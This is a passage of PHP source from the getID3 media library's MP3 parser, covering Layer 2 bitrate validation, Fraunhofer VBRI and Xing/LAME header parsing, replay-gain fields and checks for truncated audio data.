simply corrupted data $recursivesearch = false; } // For Layer 2 there are some combinations of bitrate and mode which are not allowed. if (!$FastMPEGheaderScan && ($thisfile_mpeg_audio['layer'] == '2')) { $info['audio']['dataformat'] = 'mp2'; switch ($thisfile_mpeg_audio['channelmode']) { case 'mono': if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] <= 192000)) { // these are ok } else { $this->error($thisfile_mpeg_audio['bitrate'].'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.'); return false; } break; case 'stereo': case 'joint stereo': case 'dual channel': if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] == 64000) || ($thisfile_mpeg_audio['bitrate'] >= 96000)) { // these are ok } else { $this->error(intval(round($thisfile_mpeg_audio['bitrate'] / 1000)).'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.'); return false; } break; } } if ($info['audio']['sample_rate'] > 0) { $thisfile_mpeg_audio['framelength'] = self::MPEGaudioFrameLength($thisfile_mpeg_audio['bitrate'], $thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['layer'], (int) $thisfile_mpeg_audio['padding'], $info['audio']['sample_rate']); } $nextframetestoffset = $offset + 1; if ($thisfile_mpeg_audio['bitrate'] != 'free') { $info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate']; if (isset($thisfile_mpeg_audio['framelength'])) { $nextframetestoffset = $offset + $thisfile_mpeg_audio['framelength']; } else { $this->error('Frame at offset('.$offset.') is has an invalid frame length.'); return false; } } $ExpectedNumberOfAudioBytes = 0; //////////////////////////////////////////////////////////////////////////////////// // Variable-bitrate headers if (substr($headerstring, 4 + 32, 4) == 'VBRI') { // Fraunhofer VBR header is hardcoded 'VBRI' at offset 0x24 (36) // specs taken from http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html $thisfile_mpeg_audio['bitrate_mode'] = 'vbr'; $thisfile_mpeg_audio['VBR_method'] = 'Fraunhofer'; $info['audio']['codec'] = 'Fraunhofer'; $SideInfoData = substr($headerstring, 4 + 2, 32); $FraunhoferVBROffset = 36; $thisfile_mpeg_audio['VBR_encoder_version'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 4, 2)); // VbriVersion $thisfile_mpeg_audio['VBR_encoder_delay'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 6, 2)); // VbriDelay $thisfile_mpeg_audio['VBR_quality'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 8, 2)); // VbriQuality $thisfile_mpeg_audio['VBR_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 10, 4)); // VbriStreamBytes $thisfile_mpeg_audio['VBR_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 14, 4)); // VbriStreamFrames $thisfile_mpeg_audio['VBR_seek_offsets'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 18, 2)); // VbriTableSize $thisfile_mpeg_audio['VBR_seek_scale'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 20, 2)); // VbriTableScale $thisfile_mpeg_audio['VBR_entry_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 22, 2)); // VbriEntryBytes $thisfile_mpeg_audio['VBR_entry_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 24, 2)); // VbriEntryFrames $ExpectedNumberOfAudioBytes = $thisfile_mpeg_audio['VBR_bytes']; $previousbyteoffset = $offset; for ($i = 0; $i < $thisfile_mpeg_audio['VBR_seek_offsets']; $i++) { $Fraunhofer_OffsetN = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset, $thisfile_mpeg_audio['VBR_entry_bytes'])); $FraunhoferVBROffset += $thisfile_mpeg_audio['VBR_entry_bytes']; $thisfile_mpeg_audio['VBR_offsets_relative'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']); $thisfile_mpeg_audio['VBR_offsets_absolute'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']) + $previousbyteoffset; $previousbyteoffset += $Fraunhofer_OffsetN; } } else { // Xing VBR header is hardcoded 'Xing' at a offset 0x0D (13), 0x15 (21) or 0x24 (36) // depending on MPEG layer and number of channels $VBRidOffset = self::XingVBRidOffset($thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['channelmode']); $SideInfoData = substr($headerstring, 4 + 2, $VBRidOffset - 4); if ((substr($headerstring, $VBRidOffset, strlen('Xing')) == 'Xing') || (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Info')) { // 'Xing' is traditional Xing VBR frame // 'Info' is LAME-encoded CBR (This was done to avoid CBR files to be recognized as traditional Xing VBR files by some decoders.) // 'Info' *can* legally be used to specify a VBR file as well, however. // http://www.multiweb.cz/twoinches/MP3inside.htm //00..03 = "Xing" or "Info" //04..07 = Flags: // 0x01 Frames Flag set if value for number of frames in file is stored // 0x02 Bytes Flag set if value for filesize in bytes is stored // 0x04 TOC Flag set if values for TOC are stored // 0x08 VBR Scale Flag set if values for VBR scale is stored //08..11 Frames: Number of frames in file (including the first Xing/Info one) //12..15 Bytes: File length in Bytes //16..115 TOC (Table of Contents): // Contains of 100 indexes (one Byte length) for easier lookup in file. Approximately solves problem with moving inside file. // Each Byte has a value according this formula: // (TOC[i] / 256) * fileLenInBytes // So if song lasts eg. 240 sec. and you want to jump to 60. sec. (and file is 5 000 000 Bytes length) you can use: // TOC[(60/240)*100] = TOC[25] // and corresponding Byte in file is then approximately at: // (TOC[25]/256) * 5000000 //116..119 VBR Scale // should be safe to leave this at 'vbr' and let it be overriden to 'cbr' if a CBR preset/mode is used by LAME // if (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Xing') { $thisfile_mpeg_audio['bitrate_mode'] = 'vbr'; $thisfile_mpeg_audio['VBR_method'] = 'Xing'; // } else { // $ScanAsCBR = true; // $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; // } $thisfile_mpeg_audio['xing_flags_raw'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 4, 4)); $thisfile_mpeg_audio['xing_flags']['frames'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000001); $thisfile_mpeg_audio['xing_flags']['bytes'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000002); $thisfile_mpeg_audio['xing_flags']['toc'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000004); $thisfile_mpeg_audio['xing_flags']['vbr_scale'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000008); if ($thisfile_mpeg_audio['xing_flags']['frames']) { $thisfile_mpeg_audio['VBR_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 8, 4)); //$thisfile_mpeg_audio['VBR_frames']--; // don't count header Xing/Info frame } if ($thisfile_mpeg_audio['xing_flags']['bytes']) { $thisfile_mpeg_audio['VBR_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 12, 4)); } //if (($thisfile_mpeg_audio['bitrate'] == 'free') && !empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) { //if (!empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) { if (!empty($thisfile_mpeg_audio['VBR_frames'])) { $used_filesize = 0; if (!empty($thisfile_mpeg_audio['VBR_bytes'])) { $used_filesize = $thisfile_mpeg_audio['VBR_bytes']; } elseif (!empty($info['filesize'])) { $used_filesize = $info['filesize']; $used_filesize -= (isset($info['id3v2']['headerlength']) ? intval($info['id3v2']['headerlength']) : 0); $used_filesize -= (isset($info['id3v1']) ? 128 : 0); $used_filesize -= (isset($info['tag_offset_end']) ? $info['tag_offset_end'] - $info['tag_offset_start'] : 0); $this->warning('MP3.Xing header missing VBR_bytes, assuming MPEG audio portion of file is '.number_format($used_filesize).' bytes'); } $framelengthfloat = $used_filesize / $thisfile_mpeg_audio['VBR_frames']; if ($thisfile_mpeg_audio['layer'] == '1') { // BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12 //$info['audio']['bitrate'] = ((($framelengthfloat / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12; $info['audio']['bitrate'] = ($framelengthfloat / 4) * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 12; } else { // Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144 //$info['audio']['bitrate'] = (($framelengthfloat - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144; $info['audio']['bitrate'] = $framelengthfloat * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 144; } $thisfile_mpeg_audio['framelength'] = floor($framelengthfloat); } if ($thisfile_mpeg_audio['xing_flags']['toc']) { $LAMEtocData = substr($headerstring, $VBRidOffset + 16, 100); for ($i = 0; $i < 100; $i++) { $thisfile_mpeg_audio['toc'][$i] = ord($LAMEtocData[$i]); } } if ($thisfile_mpeg_audio['xing_flags']['vbr_scale']) { $thisfile_mpeg_audio['VBR_scale'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 116, 4)); } // http://gabriel.mp3-tech.org/mp3infotag.html if (substr($headerstring, $VBRidOffset + 120, 4) == 'LAME') { // shortcut $thisfile_mpeg_audio['LAME'] = array(); $thisfile_mpeg_audio_lame = &$thisfile_mpeg_audio['LAME']; $thisfile_mpeg_audio_lame['long_version'] = substr($headerstring, $VBRidOffset + 120, 20); $thisfile_mpeg_audio_lame['short_version'] = substr($thisfile_mpeg_audio_lame['long_version'], 0, 9); //$thisfile_mpeg_audio_lame['numeric_version'] = str_replace('LAME', '', $thisfile_mpeg_audio_lame['short_version']); $thisfile_mpeg_audio_lame['numeric_version'] = ''; if (preg_match('#^LAME([0-9\\.a-z]*)#', $thisfile_mpeg_audio_lame['long_version'], $matches)) { $thisfile_mpeg_audio_lame['short_version'] = $matches[0]; $thisfile_mpeg_audio_lame['numeric_version'] = $matches[1]; } if (strlen($thisfile_mpeg_audio_lame['numeric_version']) > 0) { foreach (explode('.', $thisfile_mpeg_audio_lame['numeric_version']) as $key => $number) { $thisfile_mpeg_audio_lame['integer_version'][$key] = intval($number); } //if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.90') { if ((($thisfile_mpeg_audio_lame['integer_version'][0] * 1000) + $thisfile_mpeg_audio_lame['integer_version'][1]) >= 3090) { // cannot use string version compare, may have "LAME3.90" or "LAME3.100" -- see https://github.com/JamesHeinrich/getID3/issues/207 // extra 11 chars are not part of version string when LAMEtag present unset($thisfile_mpeg_audio_lame['long_version']); // It the LAME tag was only introduced in LAME v3.90 // https://wiki.hydrogenaud.io/index.php/LAME#VBR_header_and_LAME_tag // https://hydrogenaud.io/index.php?topic=9933 // Offsets of various bytes in http://gabriel.mp3-tech.org/mp3infotag.html // are assuming a 'Xing' identifier offset of 0x24, which is the case for // MPEG-1 non-mono, but not for other combinations $LAMEtagOffsetContant = $VBRidOffset - 0x24; // shortcuts $thisfile_mpeg_audio_lame['RGAD'] = array('track'=>array(), 'album'=>array()); $thisfile_mpeg_audio_lame_RGAD = &$thisfile_mpeg_audio_lame['RGAD']; $thisfile_mpeg_audio_lame_RGAD_track = &$thisfile_mpeg_audio_lame_RGAD['track']; $thisfile_mpeg_audio_lame_RGAD_album = &$thisfile_mpeg_audio_lame_RGAD['album']; $thisfile_mpeg_audio_lame['raw'] = array(); $thisfile_mpeg_audio_lame_raw = &$thisfile_mpeg_audio_lame['raw']; // byte $9B VBR Quality // This field is there to indicate a quality level, although the scale was not precised in the original Xing specifications. // Actually overwrites original Xing bytes unset($thisfile_mpeg_audio['VBR_scale']); $thisfile_mpeg_audio_lame['vbr_quality'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0x9B, 1)); // bytes $9C-$A4 Encoder short VersionString $thisfile_mpeg_audio_lame['short_version'] = substr($headerstring, $LAMEtagOffsetContant + 0x9C, 9); // byte $A5 Info Tag revision + VBR method $LAMEtagRevisionVBRmethod = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA5, 1)); $thisfile_mpeg_audio_lame['tag_revision'] = ($LAMEtagRevisionVBRmethod & 0xF0) >> 4; $thisfile_mpeg_audio_lame_raw['vbr_method'] = $LAMEtagRevisionVBRmethod & 0x0F; $thisfile_mpeg_audio_lame['vbr_method'] = self::LAMEvbrMethodLookup($thisfile_mpeg_audio_lame_raw['vbr_method']); $thisfile_mpeg_audio['bitrate_mode'] = substr($thisfile_mpeg_audio_lame['vbr_method'], 0, 3); // usually either 'cbr' or 'vbr', but truncates 'vbr-old / vbr-rh' to 'vbr' // byte $A6 Lowpass filter value $thisfile_mpeg_audio_lame['lowpass_frequency'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA6, 1)) * 100; // bytes $A7-$AE Replay Gain // https://web.archive.org/web/20021015212753/http://privatewww.essex.ac.uk/~djmrob/replaygain/rg_data_format.html // bytes $A7-$AA : 32 bit floating point "Peak signal amplitude" if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.94b') { // LAME 3.94a16 and later - 9.23 fixed point // ie 0x0059E2EE / (2^23) = 5890798 / 8388608 = 0.7022378444671630859375 $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = (float) ((getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4))) / 8388608); } else { // LAME 3.94a15 and earlier - 32-bit floating point // Actually 3.94a16 will fall in here too and be WRONG, but is hard to detect 3.94a16 vs 3.94a15 $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = getid3_lib::LittleEndian2Float(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4)); } if ($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] == 0) { unset($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']); } else { $thisfile_mpeg_audio_lame_RGAD['peak_db'] = getid3_lib::RGADamplitude2dB($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']); } $thisfile_mpeg_audio_lame_raw['RGAD_track'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAB, 2)); $thisfile_mpeg_audio_lame_raw['RGAD_album'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAD, 2)); if ($thisfile_mpeg_audio_lame_raw['RGAD_track'] != 0) { $thisfile_mpeg_audio_lame_RGAD_track['raw']['name'] = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0xE000) >> 13; $thisfile_mpeg_audio_lame_RGAD_track['raw']['originator'] = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x1C00) >> 10; $thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit'] = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x0200) >> 9; $thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'] = $thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x01FF; $thisfile_mpeg_audio_lame_RGAD_track['name'] = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['name']); $thisfile_mpeg_audio_lame_RGAD_track['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']); $thisfile_mpeg_audio_lame_RGAD_track['gain_db'] = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']); if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) { $info['replay_gain']['track']['peak'] = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude']; } $info['replay_gain']['track']['originator'] = $thisfile_mpeg_audio_lame_RGAD_track['originator']; $info['replay_gain']['track']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_track['gain_db']; } else { unset($thisfile_mpeg_audio_lame_RGAD['track']); } if ($thisfile_mpeg_audio_lame_raw['RGAD_album'] != 0) { $thisfile_mpeg_audio_lame_RGAD_album['raw']['name'] = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0xE000) >> 13; $thisfile_mpeg_audio_lame_RGAD_album['raw']['originator'] = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x1C00) >> 10; $thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit'] = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x0200) >> 9; $thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'] = $thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x01FF; $thisfile_mpeg_audio_lame_RGAD_album['name'] = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['name']); $thisfile_mpeg_audio_lame_RGAD_album['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']); $thisfile_mpeg_audio_lame_RGAD_album['gain_db'] = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']); if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) { $info['replay_gain']['album']['peak'] = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude']; } $info['replay_gain']['album']['originator'] = $thisfile_mpeg_audio_lame_RGAD_album['originator']; $info['replay_gain']['album']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_album['gain_db']; } else { unset($thisfile_mpeg_audio_lame_RGAD['album']); } if (empty($thisfile_mpeg_audio_lame_RGAD)) { unset($thisfile_mpeg_audio_lame['RGAD']); } // byte $AF Encoding flags + ATH Type $EncodingFlagsATHtype = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAF, 1)); $thisfile_mpeg_audio_lame['encoding_flags']['nspsytune'] = (bool) ($EncodingFlagsATHtype & 0x10); $thisfile_mpeg_audio_lame['encoding_flags']['nssafejoint'] = (bool) ($EncodingFlagsATHtype & 0x20); $thisfile_mpeg_audio_lame['encoding_flags']['nogap_next'] = (bool) ($EncodingFlagsATHtype & 0x40); $thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev'] = (bool) ($EncodingFlagsATHtype & 0x80); $thisfile_mpeg_audio_lame['ath_type'] = $EncodingFlagsATHtype & 0x0F; // byte $B0 if ABR {specified bitrate} else {minimal bitrate} $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB0, 1)); if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 2) { // Average BitRate (ABR) $thisfile_mpeg_audio_lame['bitrate_abr'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']; } elseif ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) { // Constant BitRate (CBR) // ignore } elseif ($thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] > 0) { // Variable BitRate (VBR) - minimum bitrate $thisfile_mpeg_audio_lame['bitrate_min'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']; } // bytes $B1-$B3 Encoder delays $EncoderDelays = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB1, 3)); $thisfile_mpeg_audio_lame['encoder_delay'] = ($EncoderDelays & 0xFFF000) >> 12; $thisfile_mpeg_audio_lame['end_padding'] = $EncoderDelays & 0x000FFF; // byte $B4 Misc $MiscByte = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB4, 1)); $thisfile_mpeg_audio_lame_raw['noise_shaping'] = ($MiscByte & 0x03); $thisfile_mpeg_audio_lame_raw['stereo_mode'] = ($MiscByte & 0x1C) >> 2; $thisfile_mpeg_audio_lame_raw['not_optimal_quality'] = ($MiscByte & 0x20) >> 5; $thisfile_mpeg_audio_lame_raw['source_sample_freq'] = ($MiscByte & 0xC0) >> 6; $thisfile_mpeg_audio_lame['noise_shaping'] = $thisfile_mpeg_audio_lame_raw['noise_shaping']; $thisfile_mpeg_audio_lame['stereo_mode'] = self::LAMEmiscStereoModeLookup($thisfile_mpeg_audio_lame_raw['stereo_mode']); $thisfile_mpeg_audio_lame['not_optimal_quality'] = (bool) $thisfile_mpeg_audio_lame_raw['not_optimal_quality']; $thisfile_mpeg_audio_lame['source_sample_freq'] = self::LAMEmiscSourceSampleFrequencyLookup($thisfile_mpeg_audio_lame_raw['source_sample_freq']); // byte $B5 MP3 Gain $thisfile_mpeg_audio_lame_raw['mp3_gain'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB5, 1), false, true); $thisfile_mpeg_audio_lame['mp3_gain_db'] = (getid3_lib::RGADamplitude2dB(2) / 4) * $thisfile_mpeg_audio_lame_raw['mp3_gain']; $thisfile_mpeg_audio_lame['mp3_gain_factor'] = pow(2, ($thisfile_mpeg_audio_lame['mp3_gain_db'] / 6)); // bytes $B6-$B7 Preset and surround info $PresetSurroundBytes = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB6, 2)); // Reserved = ($PresetSurroundBytes & 0xC000); $thisfile_mpeg_audio_lame_raw['surround_info'] = ($PresetSurroundBytes & 0x3800); $thisfile_mpeg_audio_lame['surround_info'] = self::LAMEsurroundInfoLookup($thisfile_mpeg_audio_lame_raw['surround_info']); $thisfile_mpeg_audio_lame['preset_used_id'] = ($PresetSurroundBytes & 0x07FF); $thisfile_mpeg_audio_lame['preset_used'] = self::LAMEpresetUsedLookup($thisfile_mpeg_audio_lame); if (!empty($thisfile_mpeg_audio_lame['preset_used_id']) && empty($thisfile_mpeg_audio_lame['preset_used'])) { $this->warning('Unknown LAME preset used ('.$thisfile_mpeg_audio_lame['preset_used_id'].') - please report to info@getid3.org'); } if (($thisfile_mpeg_audio_lame['short_version'] == 'LAME3.90.') && !empty($thisfile_mpeg_audio_lame['preset_used_id'])) { // this may change if 3.90.4 ever comes out $thisfile_mpeg_audio_lame['short_version'] = 'LAME3.90.3'; } // bytes $B8-$BB MusicLength $thisfile_mpeg_audio_lame['audio_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB8, 4)); $ExpectedNumberOfAudioBytes = (($thisfile_mpeg_audio_lame['audio_bytes'] > 0) ? $thisfile_mpeg_audio_lame['audio_bytes'] : $thisfile_mpeg_audio['VBR_bytes']); // bytes $BC-$BD MusicCRC $thisfile_mpeg_audio_lame['music_crc'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBC, 2)); // bytes $BE-$BF CRC-16 of Info Tag $thisfile_mpeg_audio_lame['lame_tag_crc'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBE, 2)); // LAME CBR if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1 && $thisfile_mpeg_audio['bitrate'] !== 'free') { $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; $thisfile_mpeg_audio['bitrate'] = self::ClosestStandardMP3Bitrate($thisfile_mpeg_audio['bitrate']); $info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate']; //if (empty($thisfile_mpeg_audio['bitrate']) || (!empty($thisfile_mpeg_audio_lame['bitrate_min']) && ($thisfile_mpeg_audio_lame['bitrate_min'] != 255))) { // $thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio_lame['bitrate_min']; //} } } } } } else { // not Fraunhofer or Xing VBR methods, most likely CBR (but could be VBR with no header) $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; if ($recursivesearch) { $thisfile_mpeg_audio['bitrate_mode'] = 'vbr'; if ($this->RecursiveFrameScanning($offset, $nextframetestoffset, true)) { $recursivesearch = false; $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; } if ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') { $this->warning('VBR file with no VBR header. Bitrate values calculated from actual frame bitrates.'); } } } } if (($ExpectedNumberOfAudioBytes > 0) && ($ExpectedNumberOfAudioBytes != ($info['avdataend'] - $info['avdataoffset']))) { if ($ExpectedNumberOfAudioBytes > ($info['avdataend'] - $info['avdataoffset'])) { if ($this->isDependencyFor('matroska') || $this->isDependencyFor('riff')) { // ignore, audio data is broken into chunks so will always be data "missing" } elseif (($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])) == 1) { $this->warning('Last byte of data truncated (this is a known bug in Meracl ID3 Tag Writer before v1.3.5)'); } else { $this->warning('Probable truncated file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, only found '.($info['avdataend'] - $info['avdataoffset']).' (short by '.($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])).' bytes)'); } } else { if ((($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes) == 1) { // $prenullbytefileoffset = $this->ftell(); // $this->fseek($info['avdataend']); // $PossibleNullByte = $this->fread(1); // $this->fseek($prenullbytefileoffset); // if ($PossibleNullByte === "\x00") { $info['avdataend']--; // $this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored'); // } else { // $this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)'); // } } else { $this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)'); } } } if (($thisfile_mpeg_audio['bitrate'] == 'free') && empty($info['audio']['bitrate'])) { if (($offset == $info['avdataoffset']) && empty($thisfile_mpeg_audio['VBR_frames'])) { $framebytelength = $this->FreeFormatFrameLength($offset, true); if ($framebytelength > 0) { $thisfile_mpeg_audio['framelength'] = $framebytelength; if ($thisfile_mpeg_audio['layer'] == '1') { // BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12 $info['audio']['bitrate'] = ((($framebytelength / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12; } else { // Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144 $info['audio']['bitrate'] = (($framebytelength - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144; } } else { $this->error('Error calculating frame length of free-format MP3 without Xing/LAME header'); } } } if (isset($thisfile_mpeg_audio['VBR_frames']) ? $thisfile_mpeg_audio['VBR_frames'] : '') { switch ($thisfile_mpeg_audio['bitrate_mode']) { case 'vbr': case 'abr': $bytes_per_frame = 1152; if (($thisfile_mpeg_audio['version'] == '1') && ($thisfile_mpeg_audio['layer'] == 1)) { $bytes_per_frame = 384; } elseif ((($thisfile_mpeg_audio['version'] == '2') || ($thisfile_mpeg_audio['version'] == '2.5')) && ($thisfile_mpeg_audio['layer'] == 3)) { $bytes_per_frame = 576; } $thisfile_mpeg_audio['VBR_bitrate'] = (isset($thisfile_mpeg_audio['VBR_bytes']) ? (($thisfile_mpeg_audio['VBR_bytes'] / $thisfile_mpeg_audio['VBR_frames']) * 8) * ($info['audio']['sample_rate'] / $bytes_per_frame) : 0); if ($thisfile_mpeg_audio['VBR_bitrate'] > 0) { $info['audio']['bitrate'] = $thisfile_mpeg_audio['VBR_bitrate']; $thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio['VBR_bitrate']; // to avoid confusion } break; } } // End variable-bitrate headers //////////////////////////////////////////////////////////////////////////////////// if ($recursivesearch) { if (!$this->RecursiveFrameScanning($offset, $nextframetestoffset, $ScanAsCBR)) { return false; } if (!empty($this->getid3->info['mp3_validity_check_bitrates']) && !empty($thisfile_mpeg_audio['bitrate_mode']) && ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') && !empty($thisfile_mpeg_audio['VBR_bitrate'])) { // https://github.com/JamesHeinrich/getID3/issues/287 if (count(array_keys($this->getid3->info['mp3_validity_check_bitrates'])) == 1) { list($cbr_bitrate_in_short_scan) = array_keys($this->getid3->info['mp3_validity_check_bitrates']); $deviation_cbr_from_header_bitrate = abs($thisfile_mpeg_audio['VBR_bitrate'] - $cbr_bitrate_in_short_scan) / $cbr_bitrate_in_short_scan; if ($deviation_cbr_from_header_bitrate < 0.01) { // VBR header bitrate may differ slightly from true bitrate of frames, perhaps accounting for overhead of VBR header frame itself? // If measured CBR bitrate is within 1% of specified bitrate in VBR header then assume that file is truly CBR $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; //$this->warning('VBR header ignored, assuming CBR '.round($cbr_bitrate_in_short_scan / 1000).'kbps based on scan of '.$this->mp3_valid_check_frames.' frames'); } } } if (isset($this->getid3->info['mp3_validity_check_bitrates'])) { unset($this->getid3->info['mp3_validity_check_bitrates']); } } //if (false) { // // experimental side info parsing section - not returning anything useful yet // // $SideInfoBitstream = getid3_lib::BigEndian2Bin($SideInfoData); // $SideInfoOffset = 0; // // if ($thisfile_mpeg_audio['version'] == '1') { // if ($thisfile_mpeg_audio['channelmode'] == 'mono') { // // MPEG-1 (mono) // $thisfile_mpeg_audio['side_info']['main_data_begin'] = 